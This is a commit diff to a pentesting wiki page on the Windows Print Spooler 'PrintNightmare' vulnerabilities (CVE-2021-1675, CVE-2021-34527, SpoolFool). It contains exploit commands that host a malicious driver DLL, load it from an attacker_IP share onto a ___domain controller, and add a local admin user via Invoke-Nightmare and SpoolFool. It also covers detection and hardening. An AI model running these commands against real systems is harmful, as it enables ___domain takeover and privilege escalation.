|
1 | | -# PrintNightmare |
| 1 | +# PrintNightmare (Windows Print Spooler RCE/LPE) |
2 | 2 |
|
3 | 3 | {{#include ../../banners/hacktricks-training.md}} |
4 | 4 |
|
5 | | -**Check this awesome blog post about PrintNightmare in 2024: [https://www.hackingarticles.in/understanding-printnightmare-vulnerability/](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/)** |
| 5 | +> PrintNightmare is the collective name given to a family of vulnerabilities in the Windows **Print Spooler** service that allow **arbitrary code execution as SYSTEM** and, when the spooler is reachable over RPC, **remote code execution (RCE) on ___domain controllers and file servers**. The most-widely exploited CVEs are **CVE-2021-1675** (initially classed as LPE) and **CVE-2021-34527** (full RCE). Subsequent issues such as **CVE-2021-34481 (“Point & Print”)** and **CVE-2022-21999 (“SpoolFool”)** prove that the attack surface is still far from closed. |
6 | 6 |
|
7 | | -{{#include ../../banners/hacktricks-training.md}} |
| 7 | +--- |
| 8 | + |
| 9 | +## 1. Vulnerable components & CVEs |
| 10 | + |
| 11 | +| Year | CVE | Short name | Primitive | Notes | |
| 12 | +|------|-----|------------|-----------|-------| |
| 13 | +|2021|CVE-2021-1675|“PrintNightmare #1”|LPE|Patched in June 2021 CU but bypassed by CVE-2021-34527| |
| 14 | +|2021|CVE-2021-34527|“PrintNightmare”|RCE/LPE|AddPrinterDriverEx allows authenticated users to load a driver DLL from a remote share| |
| 15 | +|2021|CVE-2021-34481|“Point & Print”|LPE|Unsigned driver installation by non-admin users| |
| 16 | +|2022|CVE-2022-21999|“SpoolFool”|LPE|Arbitrary directory creation → DLL planting – works after 2021 patches| |
| 17 | + |
| 18 | +All of them abuse one of the **MS-RPRN / MS-PAR RPC methods** (`RpcAddPrinterDriver`, `RpcAddPrinterDriverEx`, `RpcAsyncAddPrinterDriver`) or trust relationships inside **Point & Print**. |
| 19 | + |
| 20 | +## 2. Exploitation techniques |
| 21 | + |
| 22 | +### 2.1 Remote Domain Controller compromise (CVE-2021-34527) |
| 23 | + |
| 24 | +An authenticated but **non-privileged** ___domain user can run arbitrary DLLs as **NT AUTHORITY\SYSTEM** on a remote spooler (often the DC) by: |
| 25 | + |
| 26 | +```powershell |
| 27 | +# 1. Host malicious driver DLL on a share the victim can reach |
| 28 | +impacket-smbserver share ./evil_driver/ -smb2support |
| 29 | +
|
| 30 | +# 2. Use a PoC to call RpcAddPrinterDriverEx |
| 31 | +python3 CVE-2021-1675.py victim_DC.___domain.local 'DOMAIN/user:Password!' \ |
| 32 | + -f \ |
| 33 | + '\\attacker_IP\share\evil.dll' |
| 34 | +``` |
| 35 | + |
| 36 | +Popular PoCs include **CVE-2021-1675.py** (Python/Impacket), **SharpPrintNightmare.exe** (C#) and Benjamin Delpy’s `misc::printnightmare / lsa::addsid` modules in **mimikatz**. |
| 37 | + |
| 38 | +### 2.2 Local privilege escalation (any supported Windows, 2021-2024) |
| 39 | + |
| 40 | +The same API can be called **locally** to load a driver from `C:\Windows\System32\spool\drivers\x64\3\` and achieve SYSTEM privileges: |
| 41 | + |
| 42 | +```powershell |
| 43 | +Import-Module .\Invoke-Nightmare.ps1 |
| 44 | +Invoke-Nightmare -NewUser hacker -NewPassword P@ssw0rd! |
| 45 | +``` |
| 46 | + |
| 47 | +### 2.3 SpoolFool (CVE-2022-21999) – bypassing 2021 fixes |
| 48 | + |
| 49 | +Microsoft’s 2021 patches blocked remote driver loading but **did not harden directory permissions**. SpoolFool abuses the `SpoolDirectory` parameter to create an arbitrary directory under `C:\Windows\System32\spool\drivers\`, drops a payload DLL, and forces the spooler to load it: |
8 | 50 |
|
| 51 | +```powershell |
| 52 | +# Binary version (local exploit) |
| 53 | +SpoolFool.exe -dll add_user.dll |
| 54 | +
|
| 55 | +# PowerShell wrapper |
| 56 | +Import-Module .\SpoolFool.ps1 ; Invoke-SpoolFool -dll add_user.dll |
| 57 | +``` |
| 58 | + |
| 59 | +> The exploit works on fully-patched Windows 7 → Windows 11 and Server 2012R2 → 2022 before February 2022 updates |
| 60 | +
|
| 61 | +--- |
| 62 | + |
| 63 | +## 3. Detection & hunting |
| 64 | + |
| 65 | +* **Event Logs** – enable the *Microsoft-Windows-PrintService/Operational* and *Admin* channels and watch for **Event ID 808** “The print spooler failed to load a plug-in module” or for **RpcAddPrinterDriverEx** messages. |
| 66 | +* **Sysmon** – `Event ID 7` (Image loaded) or `11/23` (File write/delete) inside `C:\Windows\System32\spool\drivers\*` when the parent process is **spoolsv.exe**. |
| 67 | +* **Process lineage** – alerts whenever **spoolsv.exe** spawns `cmd.exe`, `rundll32.exe`, PowerShell or any unsigned binary . |
| 68 | + |
| 69 | +## 4. Mitigation & hardening |
| 70 | + |
| 71 | +1. **Patch!** – Apply the latest cumulative update on every Windows host that has the Print Spooler service installed. |
| 72 | +2. **Disable the spooler where it is not required**, especially on Domain Controllers: |
| 73 | + ```powershell |
| 74 | + Stop-Service Spooler -Force |
| 75 | + Set-Service Spooler -StartupType Disabled |
| 76 | + ``` |
| 77 | +3. **Block remote connections** while still allowing local printing – Group Policy: `Computer Configuration → Administrative Templates → Printers → Allow Print Spooler to accept client connections = Disabled`. |
| 78 | +4. **Restrict Point & Print** so only administrators can add drivers by setting the registry value: |
| 79 | + ```cmd |
| 80 | + reg add "HKLM\Software\Policies\Microsoft\Windows NT\Printers\PointAndPrint" \ |
| 81 | + /v RestrictDriverInstallationToAdministrators /t REG_DWORD /d 1 /f |
| 82 | + ``` |
| 83 | + Detailed guidance in Microsoft KB5005652 |
| 84 | + |
| 85 | +--- |
| 86 | + |
| 87 | +## 5. Related research / tools |
| 88 | + |
| 89 | +* [mimikatz `printnightmare`](https://github.com/gentilkiwi/mimikatz/tree/master/modules) modules |
| 90 | +* SharpPrintNightmare (C#) / Invoke-Nightmare (PowerShell) |
| 91 | +* SpoolFool exploit & write-up |
| 92 | +* 0patch micropatches for SpoolFool and other spooler bugs |
| 93 | + |
| 94 | +--- |
| 95 | + |
| 96 | +**More reading (external):** Check the 2024 walk-through blog post – [Understanding PrintNightmare Vulnerability](https://www.hackingarticles.in/understanding-printnightmare-vulnerability/) |
| 97 | + |
| 98 | +{{#include ../../banners/hacktricks-training.md}} |
9 | 99 |
|
| 100 | +## References |
10 | 101 |
|
| 102 | +* Microsoft – *KB5005652: Manage new Point & Print default driver installation behavior* |
| 103 | + <https://support.microsoft.com/en-us/topic/kb5005652-manage-new-point-and-print-default-driver-installation-behavior-cve-2021-34481-873642bf-2634-49c5-a23b-6d8e9a302872> |
| 104 | +* Oliver Lyak – *SpoolFool: CVE-2022-21999* |
| 105 | + <https://github.com/ly4k/SpoolFool> |
| 106 | +{{#include /banners/hacktricks-training.md}} |
0 commit comments